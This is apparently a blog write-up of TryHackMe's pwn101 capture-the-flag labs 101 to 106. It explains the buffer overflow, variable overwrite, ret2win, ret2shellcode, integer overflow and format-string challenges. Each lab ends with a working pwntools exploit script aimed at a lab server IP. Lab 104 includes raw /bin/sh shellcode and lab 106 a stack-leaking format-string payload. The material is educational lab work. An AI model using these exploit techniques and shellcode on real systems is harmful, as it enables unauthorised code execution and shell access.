Binary Exploitation

Pwn101 Tryhackme

This is about binary exploitation and reverse engineering on a tryhackme machine pwn101. There are 10 labs for 10 different kinds of binary vulnerabilities.

  • Buffer overflow
  • Modify the variable’s value
  • Return to win
  • Return to shellcode
  • Integer Overflow
  • Format string exploit
  • Bypassing mitigations
  • GOT overwrite
  • Return to PLT
  • Playing with ROP

pwn101

So let’s start with pwn 101 it has a downloadable file pwn101.pwn101, And it is about buffer overflow. First checksec a binary to see what mitigations is provided with it,

pwn101

You can see there is no any stack canary available to protect from buffer overflow, so run the binary and provide a large no of inputs other than it expected. If you don’t know what stack canary is click here.

pwn101

pwn101

OK we successfully overflowed the binary function gets which is vulnerable to buffer overflow and jump to /bin/sh. So to get flag we have to test on remote server.The exploit written in python with help of pwntools.

You can check others exploits on my github repo here.

#!/usr/bin/env python3

from pwn import *

binary=context.binary=ELF("./pwn101.pwn101")
context.log_level="critical"
payload=b"A"* 0x40 + b"A"*0x4 + b"B"*0x8
p=remote("10.10.86.157",9001)
#p=process()
p.sendline(payload)
p.recv()
p.interactive()

Run the python script ./exploit101.py and we got the flag on the remote server.

pwn101

pwn102

Ok as usual lets start with the checksec using command.

checksec -file=pwn102.pwn102

pwn102

Also there is no stack canary present, and it is vulnerable to buffer overflow Lets debug this binary on radare2,

r2 -d -A pwn102.pwn102

pwn102

The scanf function is taking values in @rbp-0x70 without any size validation so we can overflow the buffer but we need to modify two variables @rbp-0x4 and @rbp-0x8 with0xc0d3and 0xc0ff33 respectively because these are set on the stack above buff4r.

pwn102

After that we can get to call /bin/sh and spawn a shell.

pwn102

Lets write a script to execute on remote server on port 9002.

#!/usr/bin/env python3

from pwn import *

context.binary=binary=ELF("./pwn102.pwn102")
context.log_level="critical"
payload = b"A"*104
payload+= p32(0xc0d3)
payload+= p32(0xc0ff33)
#p=process()
p=remote("10.10.103.79",9002)
p.sendline(payload)
p.interactive()

Finally we got the flag

pwn102

pwn103

Ok This is about re2win, it is basically overwriting the instruction pointer to return to the desired function. lets start with checksec.

pwn103

There is no stack canary and PIE is disabled, meaning we can overflow the buffer and the address of the function won’t change between execution (PIE disabled).

lets run the binary first and see.

./pwn103.pwn103

pwn103

It’s asking for options and case 3 is vulnerable to buffer overflow, we can send as many bytes we want because it is using scanf() function that is not checking buffer size limitations as you can see below.

pwn103

So as mentioned earlier PIE is disabled so address won’t change on execution.We can get win() function and this time it is admins_only() which will spawn a /bin/sh shell. So we will get admins_only address (sym.admins_only) and overwrite the RIP to return the general() function to admins_only().

pwn103

Lets write a script to get the flag on remote server on port 9003.

 #!/usr/bin/env python3

from pwn import *

context.binary=binary=ELF("./pwn103.pwn103")
context.log_level="critical"

#p=process()
p=remote("10.10.114.45",9003)

#get the win() function address
admins_only=p64(binary.symbols.admins_only)

#To overcome stack alignement we have to put ret gadgets
ret_address=p64(0x00401377)

#We overwrite the buffer as well as 0x20 bytes until reach rbp and overwrite rip with win() adress
payload=b"A"*0x20 + b"B"*0x8 + ret_address + admins_only
#To choose vulnerable option

p.sendline(b"3")
p.sendline(payload)
p.interactive()

In the above exploit we are first sending b"3" bytes to choose option general, then sending bytes of 0x20 to overwrite the buffer until we reach to the RBP and 0x8 bytes to overwrite RBP itself and ret_address for stack alignement as well as admins_only adress to overwrite the RIP to call win() function (admins_only).

Run the script and get the flag.

Ppython exploit103.py

pwn103

pwn104

This lab has file pwn104.pwnn104 which we have to download. Its about ret2shellcode, basically executing shellcode or remote code execution(RCE)

At first run the binary file and see what we got.

./pwn104.pwn104

pwn104

Here we can see its leaking address 0x7ffc7ae5a10, which we really don’t know what it is? And this address is changing everytime you run the binary because of Address space layout randomization(ASLR).So lets check the file.

checksec -file=pwn104.pwn104

pwn104

Actually it has not any mitigations actually other than partial relro.

There is no stack canary, NX disabled, No PIE, so we can overflow the buffer, and also can execute shellcode as well as adresses won’t change between execution.

So lets open with cutter and analyze the binary.

pwn104

There is read function that reads our input as bytes ranging from 0–200 bytes(0xc8) at the end and stores in buf at memory rbp-0x50 and we can overflow this buffer pretty easily.

Then it returns to the address and exits the program. Unlike previous lab here is not any win() function to return to after overflowing buffer, but we can execute shellcode from stack as NX is disabled.

And now basic summary is that we first overflow the buf with shellocode and remaining spaces with A’s and B’s and also overwrite rbp itself. Then to execute code by returning to shellcode we should overwrite the instruction pointer with buff_address where we stored shellcode. Due to ASLR address might change on execution on system though NX is disabled,but luckily we have address of buf every time running the binary which is 0x7ffc7ae5a10.

And what shellcode we should provide and well it is code that will execute /bin/sh on the system and you can find it here.

pwn104

We successfully got the shell but locally, now to get the flag test on the remote server. So let’s write the exploit.

#!/usr/bin/env python3

from pwn import *

binary=context.binary=ELF("./pwn104.pwn104")
context.log_level="critical"
shellcode=b"\x48\x31\xf6\x56\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x57\x54\x5f\x6a\x3b\x58\x99\x0f\x05"
#p=process()
p=remote("10.10.144.168",9004)
p.recv()

output=p.recv()
buff_address=int(output.split(b"at")[1].strip().decode("utf-8"),16)
payload=shellcode + b"A"*(0x50 -len(shellcode)) + b"B"*0x8 + p64(buff_address)
p.sendline(payload)

p.interactive()

Here we should parse the output to get actual buff_address to return.

pwn104

We got the flag.

pwn105

This is all bout integer overflow and underflow. If you want to know more about integer overflow here is the link.

Now as always lets check the binary,

pwn105

It is 64 bit ELF executable with dynamically linked and not stripped.

checksec -file=pwn105.pwn105

It has every protections, like canary, NX bit enabled and PIE is also enabled. So every previous attacks are minimized.

lets dig into the debugger to see anything we can do to exploit this binary.But first run the binary.

./pwn105.pwn105

pwn105

It is asking for two unsigned integers and gives output but if we provide signed numbers it detects errors. So let’s check the internal programs to evaluate the binary more deeper.

pwn105

The values provided by users are stored in the var_14h and var_10h and after adding the sum is stored in var_ch. Then it checks both of the values are unsigned(+) or not.

pwn105

After that the sum is compared if it is signed or unsigned. If its signed then we jump to the next address where system function is called to /bin/sh and pop up a shell.

pwn105

So we know we need to make sum signed(-) but how is this possible with both unsigned numbers. Here comes the vulnerability of integer overflow and underflow. If we add any unsigned numbers to the maximum possible unsigned numbers in 8,16,32 or 64 bits integer then integer is overflowed and becomes signed(-) and vice versa for underflow.

So to exploit this binary we should overflow the integers by adding any unsigned numbers to the maximum possible 32 bits unsigned integer(2,147,483,647) and which is (2,147,483,647+1)=-2,147,483,648.

so let’s write our exploits to get the flag on the remote server and get the flag.

#!/usr/bin/env python3

from pwn import *

binary=context.binary=ELF("./pwn105.pwn105")
p=remote("10.10.23.48",9005)
p.sendlineafter(b"]>>",b"2147483647")
p.sendlineafter(b"]>>",b"1")
p.recv()
p.interactive()

pwn105

pwn106

Let’s begin another challenge, it is about fromat string vulnerability. This is basically exploiting format specifier of printf() family. If you want to learn more then go here.

First checksec -file=pwn106user.pwn106-user the binary and we got mitigations for each and every field.

pwn106

Now Let’s run the binary.

pwn106

Ok, you can see we are able to leak something. But we don’t know what is this stuff. If you don’t know it is leaking decimal values from registers and stack(0x64 architecture).

pwn106

if we supply more format specifier on the user input, vulnerable printf() function will leak every values from registers and stack. The order of leaking start from first register (rsi,rdx,rcx,r8,r9) and then remaining stack.

pwn106

So our flag starts from "THM" whose hex value is "54484d" which you can see is in 6th position and up to ‘x}’ 0x7d58 which is 10th. For this we have to write exploit to get flag on remote server.

#!/usr/bin/env python3

from pwn import *

binary=context.binary=ELF("./pwn106user.pwn106-user")
#context.log_level="debug"
#(rdi) rsi, rdx, rcx, r8, r9, then stack is leaked.

payloads="%6$lx.%7$lx.%8$lx.%9$lx.%10$lx.%11$lx"

#p=process()
p=remote("10.10.5.50",9006)
p.recv()
p.recv()

p.sendline(payloads)
output=p.recv().strip().split(b" ")[1].split(b".")
flag=""

for word in output:
flag+=bytes.fromhex(word.decode("utf-8"))[::-1].decode("utf-8")
print("The flag is:{}",format(flag))

let’s run the exploit and get the flag.

pwn106